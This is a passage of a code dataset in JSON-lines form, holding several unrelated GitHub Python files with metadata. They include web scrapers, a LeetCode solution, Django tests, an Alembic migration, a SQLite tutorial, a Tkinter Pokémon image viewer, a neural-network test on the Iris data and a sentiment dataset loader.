Spider()\n fujian_spider.parse()\n", "repo_name": "cnb2cd/Spider_app", "sub_path": "spiders/court_bulletin/fujian/spider.py", "file_name": "spider.py", "file_ext": "py", "file_size_in_byte": 6208, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.packages.urllib3.disable_warnings", "line_number": 22, "usage_type": "call"}, {"api_name": "requests.packages", "line_number": 22, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 25, "usage_type": "call"}, {"api_name": "spiders.MainSpider", "line_number": 40, "usage_type": "name"}, {"api_name": "spiders.MainSpider.__init__", "line_number": 45, "usage_type": "call"}, {"api_name": "spiders.MainSpider", "line_number": 45, "usage_type": "name"}, {"api_name": "lib.http_request.HttpRequest", "line_number": 46, "usage_type": "call"}, {"api_name": "lib.spider_exception.SpiderException", "line_number": 83, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 88, "usage_type": "call"}, {"api_name": "lib.spider_exception.SpiderException", "line_number": 89, "usage_type": "call"}, {"api_name": "lib.spider_exception.SpiderException", "line_number": 93, "usage_type": "call"}, {"api_name": "pyquery.PyQuery", "line_number": 104, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 108, "usage_type": "call"}, {"api_name": "pyquery.PyQuery", "line_number": 116, "usage_type": "call"}, {"api_name": "time.time", "line_number": 118, "usage_type": "call"}, {"api_name": "util.file.file_out", "line_number": 120, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 127, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 130, "usage_type": "call"}, {"api_name": "util.date_parse.get_today_date", "line_number": 134, "usage_type": "call"}, {"api_name": "spiders.court_bulletin.model.BulletinCourt", "line_number": 137, "usage_type": "call"}]} +{"seq_id": "26144112690", "text": "from sortedcontainers import SortedList\nclass Solution:\n def closestRoom(self, rooms: List[List[int]], queries: List[List[int]]) -> List[int]:\n n, k = len(rooms), len(queries)\n \n q = sorted([[queries[i][1], queries[i][0], i] for i in range(k)], reverse=True)\n rooms.sort(key=lambda x:x[1], reverse=True)\n res = [-1] * k\n candidates = SortedList()\n i = 0\n for minSize, preferred, idx in q:\n while i < n and rooms[i][1] >= minSize:\n candidates.add(rooms[i][0])\n i += 1\n\n r = candidates.bisect_right(preferred) # 最靠近preferred右側的roomId\n l = r-1 # 最靠近preferred左側的roomId\n\n diffR = diffL = inf\n if r < len(candidates):\n diffR = abs(candidates[r]-preferred)\n\n if l >= 0:\n diffL = abs(candidates[l]-preferred)\n\n if diffL > diffR:\n res[idx] = candidates[r]\n elif diffL < diffR:\n res[idx] = candidates[l]\n elif diffL != inf: # if there is a tie, choose smallest id\n res[idx] = candidates[l]\n return res\n", "repo_name": "Vergil0327/leetcode-history", "sub_path": "Binary Search/1847. Closest Room/solution.py", "file_name": "solution.py", "file_ext": "py", "file_size_in_byte": 1186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sortedcontainers.SortedList", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "28329947704", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nfrom mobilephone.items import CnmoNewsTest\n\n\nclass CnmoSpider(scrapy.Spider):\n name = 'cnmo'\n allowed_domains = ['www.cnmo.com']\n base_url = 'http://www.cnmo.com/phone/news/{page}/'\n\n def start_requests(self):\n for page in range(1, 81):\n url = self.base_url.format(page=page)\n yield scrapy.Request(url=url, callback=self.parse_info, dont_filter=True)\n\n def parse_info(self, response):\n news = response.css('.listbox .libox .txtbox')\n for new in news:\n item = CnmoNewsTest()\n item['url'] = new.css(\"a::attr(href)\").extract_first()\n item['title'] = new.css(\"a h2::text\").extract_first()\n item['tags'] = new.css(\".botbox ul li span a::text\").extract()\n for i in range(len(item['tags'])):\n item['tags'][i] = item['tags'][i].strip()\n yield scrapy.Request(url=item['url'], callback=self.parse_detail, meta={'item': item}, dont_filter=True)\n\n def parse_detail(self, response):\n item = response.meta.get('item')\n details = response.xpath(\"//div[@class='ctitle']/div[@class='ctitle_spe']/div[@class='fl']\")\n for detail in details:\n item['author'] = detail.xpath(\"span[@class='text_auther']/text()\").get()\n item['date'] = detail.xpath(\"span[3]/text()\").get()\n yield item", "repo_name": "YemaBro/mobilephone-Scrapy", "sub_path": "mobilephone/spiders/cnmo.py", "file_name": "cnmo.py", "file_ext": "py", "file_size_in_byte": 1394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "scrapy.Spider", "line_number": 6, "usage_type": "attribute"}, {"api_name": "scrapy.Request", "line_number": 14, "usage_type": "call"}, {"api_name": "mobilephone.items.CnmoNewsTest", "line_number": 19, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "28508684662", "text": "from http import HTTPStatus\n\nfrom django.contrib.auth import get_user_model\nfrom django.core.cache import cache\nfrom django.test import Client, TestCase\n\nfrom posts.models import Group, Post, User\n\nUser = get_user_model()\n\n\nclass PostURLTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username='auth')\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='test-slug',\n description='Тестовое описание',\n )\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый пост',\n group=cls.group,\n )\n\n def setUp(self):\n self.guest_client = Client()\n self.user = User.objects.create(username='HasNoName')\n self.authorized_client = Client()\n self.authorized_client.force_login(self.user)\n\n def test_urls_uses_correct_template(self):\n cache.clear()\n templates_url_names = {\n '/': 'posts/index.html',\n f'/group/{self.group.slug}/': 'posts/group_list.html',\n f'/profile/{self.user.username}/': 'posts/profile.html',\n f'/posts/{self.post.id}/': 'posts/post_detail.html',\n '/create/': 'posts/create_post.html',\n\n }\n for address, template in templates_url_names.items():\n with self.subTest(address=address):\n response = self.authorized_client.get(address)\n self.assertTemplateUsed(response, template)\n\n for address, template in templates_url_names.items():\n with self.subTest(address=address):\n response = self.authorized_client.get(address)\n self.assertEqual(response.status_code, HTTPStatus.OK)\n\n def test_edit_url_uses_correct_template(self):\n response = self.authorized_client.get(f'/posts/{self.post.id}/edit/')\n self.assertRedirects(\n response, ('/posts/1/'))\n self.assertEqual(response.status_code, HTTPStatus.FOUND)\n\n def test_urls_404(self):\n response = self.authorized_client.get('/smth/')\n self.assertEqual(response.status_code, HTTPStatus.NOT_FOUND)\n", "repo_name": "sarymov/hw05_final", "sub_path": "yatube/posts/tests/test_urls.py", "file_name": "test_urls.py", "file_ext": "py", "file_size_in_byte": 2246, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "posts.models.User", "line_number": 9, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 9, "usage_type": "call"}, {"api_name": "django.test.TestCase", "line_number": 12, "usage_type": "name"}, {"api_name": "posts.models.User.objects.create_user", "line_number": 16, "usage_type": "call"}, {"api_name": "posts.models.User.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "posts.models.User", "line_number": 16, "usage_type": "name"}, {"api_name": "posts.models.Group.objects.create", "line_number": 17, "usage_type": "call"}, {"api_name": "posts.models.Group.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "posts.models.Group", "line_number": 17, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.create", "line_number": 22, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 22, "usage_type": "name"}, {"api_name": "django.test.Client", "line_number": 29, "usage_type": "call"}, {"api_name": "posts.models.User.objects.create", "line_number": 30, "usage_type": "call"}, {"api_name": "posts.models.User.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "posts.models.User", "line_number": 30, "usage_type": "name"}, {"api_name": "django.test.Client", "line_number": 31, "usage_type": "call"}, {"api_name": "django.core.cache.cache.clear", "line_number": 35, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 35, "usage_type": "name"}, {"api_name": "http.HTTPStatus.OK", "line_number": 52, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 52, "usage_type": "name"}, {"api_name": "http.HTTPStatus.FOUND", "line_number": 58, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 58, "usage_type": "name"}, {"api_name": "http.HTTPStatus.NOT_FOUND", "line_number": 62, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 62, "usage_type": "name"}]} +{"seq_id": "36269393746", "text": "\"\"\"empty message\n\nRevision ID: 5f70e6f7c0d9\nRevises: facd42b8f277\nCreate Date: 2019-11-26 12:33:58.500682\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"5f70e6f7c0d9\"\ndown_revision = \"facd42b8f277\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column(\n \"downloadable_files\",\n sa.Column(\n \"clustergrammer\", postgresql.JSONB(astext_type=sa.Text()), nullable=True\n ),\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column(\"downloadable_files\", \"clustergrammer\")\n # ### end Alembic commands ###\n", "repo_name": "CIMAC-CIDC/cidc-api-gae", "sub_path": "migrations/versions/5f70e6f7c0d9_.py", "file_name": "5f70e6f7c0d9_.py", "file_ext": "py", "file_size_in_byte": 806, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "alembic.op.add_column", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql.JSONB", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql", "line_number": 24, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 24, "usage_type": "call"}, {"api_name": "alembic.op.drop_column", "line_number": 32, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "15355087692", "text": "from django.core.exceptions import ObjectDoesNotExist\n\nfrom blog.models import Category, Post, Author, CustomUser\n\n\ndef asd(request):\n categories = Category.objects.all()\n cat_list = []\n for c in categories:\n post = Post.objects.filter(category_id=c.id)\n if post:\n cat_list.append(c.id)\n cat = categories.filter(id__in=cat_list)\n authors = Author.objects.all()\n users = CustomUser.objects.all()\n try:\n category_fan = Category.objects.get(title='Фантастика')\n except ObjectDoesNotExist:\n raise ValueError('Такой категори не существует!')\n\n params = {'categories': cat,\n 'fan': category_fan, 'authors': authors,\n 'users': users}\n\n\n", "repo_name": "meliudas/django_test1", "sub_path": "blog/context_processor.py", "file_name": "context_processor.py", "file_ext": "py", "file_size_in_byte": 756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "blog.models.Category.objects.all", "line_number": 7, "usage_type": "call"}, {"api_name": "blog.models.Category.objects", "line_number": 7, "usage_type": "attribute"}, {"api_name": "blog.models.Category", "line_number": 7, "usage_type": "name"}, {"api_name": "blog.models.Post.objects.filter", "line_number": 10, "usage_type": "call"}, {"api_name": "blog.models.Post.objects", "line_number": 10, "usage_type": "attribute"}, {"api_name": "blog.models.Post", "line_number": 10, "usage_type": "name"}, {"api_name": "blog.models.Author.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "blog.models.Author.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "blog.models.Author", "line_number": 14, "usage_type": "name"}, {"api_name": "blog.models.CustomUser.objects.all", "line_number": 15, "usage_type": "call"}, {"api_name": "blog.models.CustomUser.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "blog.models.CustomUser", "line_number": 15, "usage_type": "name"}, {"api_name": "blog.models.Category.objects.get", "line_number": 17, "usage_type": "call"}, {"api_name": "blog.models.Category.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "blog.models.Category", "line_number": 17, "usage_type": "name"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 18, "usage_type": "name"}]} +{"seq_id": "26029244498", "text": "import requests\nimport json\nimport os\n\nslackWebhook = os.environ.get('slack_webhook')\n\ndef buildMessage(question, imageUrl):\n\tslackMessage = {\n\t\t\"response_type\": \"in_channel\",\n\t\t\"attachments\": [{\n\t\t\t\"text\": question,\n\t\t\t\"color\": \"#3AA3E3\",\n\t\t\t\"attachment_type\": \"default\",\n \"image_url\": imageUrl\n\t\t}]\n\t}\n\treturn json.dumps(slackMessage)\n\ndef sendMessage(question, imageUrl):\n\tslackMessage = buildMessage(question, imageUrl)\n\tresponse = requests.post(slackWebhook, data=slackMessage)\n", "repo_name": "jordan-simonovski/coffee-bot", "sub_path": "modules/slackConnector.py", "file_name": "slackConnector.py", "file_ext": "py", "file_size_in_byte": 506, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.environ.get", "line_number": 5, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 5, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 21, "usage_type": "call"}]} +{"seq_id": "33140286311", "text": "# 데이터 수정 삭제\n\n\nimport sqlite3\n\nconn = sqlite3.connect('./resource/database.db') # isolation 설정 없음\nc = conn.cursor()\n\n# update 1\n# c.execute('UPDATE users SET username=\"Park2\" WHERE id=2')\n\n# 여기서 SQLite 보면 그냥 Park인 것을 확인 가능\n# 커밋이 안되었으므로 여기세션에서만 바뀐값 확인\n# conn.rollback()\n# conn.commit()\n\n# update 2\n# c.execute('UPDATE users SET username=:name WHERE id=:id', {'name': 'goodman', 'id': 5})\n\n# update 3\n# c.execute('UPDATE users SET username=\"%s\" WHERE id=\"%s\"' %('테스트이름',3))\n\nconn.commit()\n\nfor user in c.execute('SELECT * FROM users'):\n print(user)\n\n\n\n# delete1\n# c.execute('DELETE FROM users WHERE id=?',(2,))\n\n# delete2\n# c.execute('DELETE FROM users WHERE id=\"%d\"'%(4)) #하나일떄는 4괄호 안해도 됨\n\n# delete3\nc.execute('DELETE FROM users WHERE id=:id',{'id':3})\n\n# delete All\nprint('table users deleted : ',c.execute('DELETE FROM users').rowcount)\nconn.commit()\n\nc.close()\nconn.close()", "repo_name": "rkaehdaos/study-Algorithm", "sub_path": "src/week2/9_db_update_delete.py", "file_name": "9_db_update_delete.py", "file_ext": "py", "file_size_in_byte": 1002, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sqlite3.connect", "line_number": 6, "usage_type": "call"}]} +{"seq_id": "71669945609", "text": "\"\"\"\nDescription:\n Graphical user interface that displays the official artwork for a\n user-specified Pokemon, which can be set as the desktop background image.\n\nUsage:\n python poke_image_viewer.py\n\"\"\"\nfrom tkinter import *\nfrom tkinter import ttk\nimport os\nimport ctypes\nfrom PIL import Image, ImageTk\nfrom poke_api import get_pokemon_info, get_pokemon_names, download_pokemon_artwork\nfrom image_lib import set_desktop_background_image\n\n# Get the script and images directory\nscript_dir = os.path.dirname(os.path.abspath(__file__))\nimages_dir = os.path.join(script_dir, 'images')\n\n# Create the images directory if it does not exist\nif not os.path.exists(images_dir):\n os.makedirs(images_dir)\n\n# For the icon\nctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID('COMP593.PokeImageViewer')\n\n# Create the main window\nroot = Tk()\nroot.title(\"Pokemon Viewer\")\nroot.geometry('600x500')\nicon_image_path = os.path.join(script_dir, 'poke_ball.ico')\nicon_image = Image.open(icon_image_path)\nicon_image = icon_image.convert(\"RGBA\")\nicon_photo = ImageTk.PhotoImage(icon_image)\nroot.iconphoto(True, icon_photo)\n\n# Create frames\ncontent_frame = Frame(root)\ncontent_frame.place(anchor=CENTER)\n\nimage_label = Label(root, image=icon_photo)\nimage_label.place(anchor=CENTER)\nimage_label.grid(row=0, column=3, padx=10, pady=10, columnspan=1, sticky = NSEW)\n\ntop_frame = Frame(root)\ntop_frame.place(anchor=CENTER)\ntop_frame.grid(row=1, column=3, padx=10, pady=10, columnspan=1, sticky = NSEW)\n\nbottom_frame = Frame(root)\nbottom_frame.place(anchor=CENTER)\nbottom_frame.grid(row=2, column=3, padx=10, pady=10, columnspan=1, sticky = NSEW)\n\n# Fetch the list of Pokémon names from the URL\npokemon_names = get_pokemon_names()\n\nselected_pokemon = StringVar()\npokemon_combobox = ttk.Combobox(top_frame, textvariable=selected_pokemon, values= pokemon_names)\npokemon_combobox.grid(row=0, column=0, padx=10, pady=10, columnspan=2, sticky='ew')\npokemon_combobox.set('Select a Pokemon')\n\ndef combobox_selected(event):\n selected_pokemon_name = selected_pokemon.get()\n if selected_pokemon_name != \"Select a Pokemon\":\n pokemon_info = get_pokemon_info(selected_pokemon_name)\n if pokemon_info:\n artwork_filename = os.path.join(images_dir, f\"{selected_pokemon_name}_artwork.png\")\n download_pokemon_artwork(selected_pokemon_name, artwork_filename)\n\n image_data = Image.open(artwork_filename)\n image_data.thumbnail((300, 300))\n photo = ImageTk.PhotoImage(image_data)\n\n image_label.config(image=photo)\n image_label.image = photo\n\n set_as_desktop_button.config(state=ACTIVE)\n\npokemon_combobox.bind(\"<>\", combobox_selected)\n\ndef set_as_desktop_image():\n selected_pokemon_name = selected_pokemon.get()\n if selected_pokemon_name:\n artwork_filename = os.path.join(images_dir, f\"{selected_pokemon_name}_artwork.png\")\n if set_desktop_background_image(artwork_filename):\n print(\"Desktop background set successfully.\")\n else:\n print(\"Failed to set desktop background.\")\n\nset_as_desktop_button = Button(bottom_frame, text=\"Set as Desktop Image\", state=ACTIVE, command=set_as_desktop_image)\nset_as_desktop_button.grid(row=1, column=0, padx=10, pady=10, columnspan=2, sticky = NSEW)\n\nroot.mainloop()", "repo_name": "VidhiMartin/COMP593_Lab10", "sub_path": "poke_image_viewer.py", "file_name": "poke_image_viewer.py", "file_ext": "py", "file_size_in_byte": 3334, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.dirname", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 23, "usage_type": "call"}, {"api_name": "ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID", "line_number": 26, "usage_type": "call"}, {"api_name": "ctypes.windll", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 33, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 35, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 35, "usage_type": "name"}, {"api_name": "poke_api.get_pokemon_names", "line_number": 55, "usage_type": "call"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 58, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 58, "usage_type": "name"}, {"api_name": "poke_api.get_pokemon_info", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "poke_api.download_pokemon_artwork", "line_number": 68, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 70, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 70, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 72, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 72, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "image_lib.set_desktop_background_image", "line_number": 85, "usage_type": "call"}]} +{"seq_id": "73959568328", "text": "import sys\r\nfrom os.path import dirname, abspath, os\r\nsys.path.append(os.path.join(dirname(dirname(__file__)) + '/src'))\r\n\r\nimport time\r\nimport pandas as pd\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn.preprocessing import normalize\r\nimport random\r\nimport unittest\r\nfrom Neuron import Neuron\r\nfrom NeuronLayer import NeuronLayer\r\nfrom NeuronNetwork import NeuronNetwork\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n\r\nclass IrisTesting(unittest.TestCase):\r\n def test_setosa_versicolour(self):\r\n\r\n \"\"\"\r\n dit functie zorgt ervoor dat de network getest word op de dataset van de iris.\r\n in dit geval kunnen van de network output kunnen zien of het een setosa, versicolour, of virginica is aan de hand van de input data\r\n verder splitten we de data in een train set en een test set\r\n \"\"\"\r\n\r\n iris = load_iris()\r\n\r\n X = iris.data\r\n Y = pd.get_dummies(iris.target)\r\n\r\n big_input_list = normalize(X.tolist())\r\n big_target_list = Y.values.tolist()\r\n\r\n inputsTrain, inputsTest, targetsTrain, targetsTest = train_test_split(big_input_list, big_target_list, test_size=0.40, random_state=123)\r\n\r\n truth_output = []\r\n\r\n weights_01 = [random.uniform(-1, 1) for x in range(5)]\r\n weights_02 = [random.uniform(-1, 1) for x in range(3)]\r\n\r\n hidden_layer_01_neurons = [Neuron(weights_01, random.uniform(-1, 1)) for x in range(3)]\r\n hidden_layer_01_neurons = [Neuron(weights_02, random.uniform(-1, 1)) for x in range(3)]\r\n\r\n hidden_layer_output_neurons = [Neuron(weights_02, random.uniform(-1, 1)) for x in range(3)]\r\n\r\n hidden_layer_01 = NeuronLayer(hidden_layer_01_neurons)\r\n hidden_layer_02 = NeuronLayer(hidden_layer_01_neurons)\r\n output_layer = NeuronLayer(hidden_layer_output_neurons)\r\n\r\n neural_network = NeuronNetwork([hidden_layer_01, output_layer])\r\n\r\n start = time.time()\r\n for epoch in range(10000):\r\n neural_network.train(inputsTrain, targetsTrain, 0.1)\r\n print(\"\\n\\ntraining done, time taken:\", (time.time() - start))\r\n\r\n for input in range(len(inputsTest)):\r\n output = neural_network.feed_forward(inputsTest[input])\r\n\r\n if output[0] < 0.5:\r\n truth_output.append([0])\r\n else:\r\n truth_output.append([1])\r\n\r\n print(\"\\nOutput setosa | versicolour | virginica | target\\n\", targetsTest)\r\n print(\"\\nOutput setosa | versicolour | virginica | predicted\\n\", truth_output)\r\n\r\n print(\"\\n\\ntrain score:\", neural_network.score(inputsTrain, targetsTrain))\r\n print(\"\\n\\ntest score:\", neural_network.score(inputsTest, targetsTest))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main(verbosity=2)\r\n", "repo_name": "ceyhuncakir/Perceptron_P4", "sub_path": "test/unit-testing-iris.py", "file_name": "unit-testing-iris.py", "file_ext": "py", "file_size_in_byte": 2775, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.os.path.join", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path.os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.os", "line_number": 3, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sklearn.datasets.load_iris", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 31, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 34, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 38, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 39, "usage_type": "call"}, {"api_name": "Neuron.Neuron", "line_number": 41, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 41, "usage_type": "call"}, {"api_name": "Neuron.Neuron", "line_number": 42, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 42, "usage_type": "call"}, {"api_name": "Neuron.Neuron", "line_number": 44, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 44, "usage_type": "call"}, {"api_name": "NeuronLayer.NeuronLayer", "line_number": 46, "usage_type": "call"}, {"api_name": "NeuronLayer.NeuronLayer", "line_number": 47, "usage_type": "call"}, {"api_name": "NeuronLayer.NeuronLayer", "line_number": 48, "usage_type": "call"}, {"api_name": "NeuronNetwork.NeuronNetwork", "line_number": 50, "usage_type": "call"}, {"api_name": "time.time", "line_number": 52, "usage_type": "call"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 73, "usage_type": "call"}]} +{"seq_id": "38475949630", "text": "# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport pickle\r\nimport numpy as np\r\n#import spacy\r\nimport json\r\n#nlp = spacy.load('en_core_web_sm')# 加载预训练模型\r\nEMODICT = json.load(open('sentiment/NRCDict.json'))[0]\r\ndef load_word_vec(path, word2idx=None, embed_dim=300):\r\n fin = open(path, 'r', encoding='utf-8', newline='\\n', errors='ignore')\r\n word_vec = {}\r\n for line in fin:\r\n tokens = line.rstrip().split()\r\n word, vec = ' '.join(tokens[:-embed_dim]), tokens[-embed_dim:]\r\n if word in word2idx.keys():\r\n word_vec[word] = np.asarray(vec, dtype='float32')\r\n return word_vec\r\n\r\n\r\ndef build_embedding_matrix(word2idx, embed_dim, type):\r\n embedding_matrix_file_name = '{0}_{1}_embedding_matrix.pkl'.format(str(embed_dim), type)\r\n if os.path.exists(embedding_matrix_file_name):\r\n print('loading embedding_matrix:', embedding_matrix_file_name)\r\n embedding_matrix = pickle.load(open(embedding_matrix_file_name, 'rb'))\r\n else:\r\n print('loading word vectors ...')\r\n embedding_matrix = np.zeros((len(word2idx), embed_dim)) # idx 0 and 1 are all-zeros\r\n embedding_matrix[1, :] = np.random.uniform(-1/np.sqrt(embed_dim), 1/np.sqrt(embed_dim), (1, embed_dim))\r\n fname = '../zl/ASGCN/glove/glove.840B.300d.txt'\r\n word_vec = load_word_vec(fname, word2idx=word2idx, embed_dim=embed_dim)\r\n print('building embedding_matrix:', embedding_matrix_file_name)\r\n for word, i in word2idx.items():\r\n vec = word_vec.get(word)\r\n if vec is not None:\r\n # words not found in embedding index will be all-zeros.\r\n embedding_matrix[i] = vec\r\n pickle.dump(embedding_matrix, open(embedding_matrix_file_name, 'wb'))\r\n return embedding_matrix\r\n\r\n\r\nclass Tokenizer(object):\r\n def __init__(self, word2idx=None):\r\n if word2idx is None:\r\n self.word2idx = {}\r\n self.idx2word = {}\r\n self.idx = 0\r\n self.word2idx[''] = self.idx\r\n self.idx2word[self.idx] = ''\r\n self.idx += 1\r\n self.word2idx[''] = self.idx\r\n self.idx2word[self.idx] = ''\r\n self.idx += 1\r\n else:\r\n self.word2idx = word2idx\r\n self.idx2word = {v:k for k,v in word2idx.items()}\r\n\r\n def fit_on_text(self, text):\r\n text = text.lower()\r\n words = text.split()\r\n for word in words:\r\n if word not in self.word2idx:\r\n self.word2idx[word] = self.idx\r\n self.idx2word[self.idx] = word\r\n self.idx += 1\r\n\r\n def text_to_sequence(self, text):\r\n text = text.lower()\r\n words = text.split()\r\n unknownidx = 1\r\n sequence = [self.word2idx[w] if w in self.word2idx else unknownidx for w in words]\r\n if len(sequence) == 0:\r\n sequence = [0]\r\n return sequence\r\n\r\n\r\nclass ABSADataset(object):\r\n def __init__(self, data):\r\n self.data = data\r\n\r\n def __getitem__(self, index):\r\n return self.data[index]\r\n\r\n def __len__(self):\r\n return len(self.data)\r\n\r\n\r\n\r\nclass ABSADatesetReader:\r\n @staticmethod\r\n def __read_text__(fnames):\r\n text = ''\r\n for fname in fnames:\r\n fin = open(fname, 'r', encoding='utf-8', newline='\\n', errors='ignore')\r\n lines = fin.readlines()\r\n fin.close()\r\n for i in range(0, len(lines), 3):\r\n text_left, _, text_right = [s.lower().strip() for s in lines[i].partition(\"$T$\")]\r\n aspect = lines[i + 1].lower().strip()\r\n text_raw = text_left + \" \" + aspect + \" \" + text_right\r\n text += text_raw + \" \"\r\n return text\r\n\r\n @staticmethod\r\n def __read_data__(fname, tokenizer,post_vocab):\r\n fin = open(fname, 'r', encoding='utf-8', newline='\\n', errors='ignore')\r\n lines = fin.readlines()\r\n fin.close()\r\n fin = open(fname + '.graph_seq', 'rb')\r\n idx2gragh_seq = pickle.load(fin)\r\n fin.close()\r\n fin = open(fname + '.graph_pmi', 'rb')\r\n #fin = open(fname + '.graph_pmi_try', 'rb')\r\n\r\n idx2gragh_pmi = pickle.load(fin)\r\n fin.close()\r\n all_data = []\r\n count=0\r\n for i in range(0, len(lines), 3):\r\n text_left, _, text_right = [s.lower().strip() for s in lines[i].partition(\"$T$\")]\r\n aspect = lines[i + 1].lower().strip()\r\n polarity = lines[i + 2].strip()\r\n aspect_position = len(text_left.split())\r\n sentence_text=text_left + \" \" + aspect + \" \" + text_right\r\n sentence_text=sentence_text.strip()\r\n text_indices = 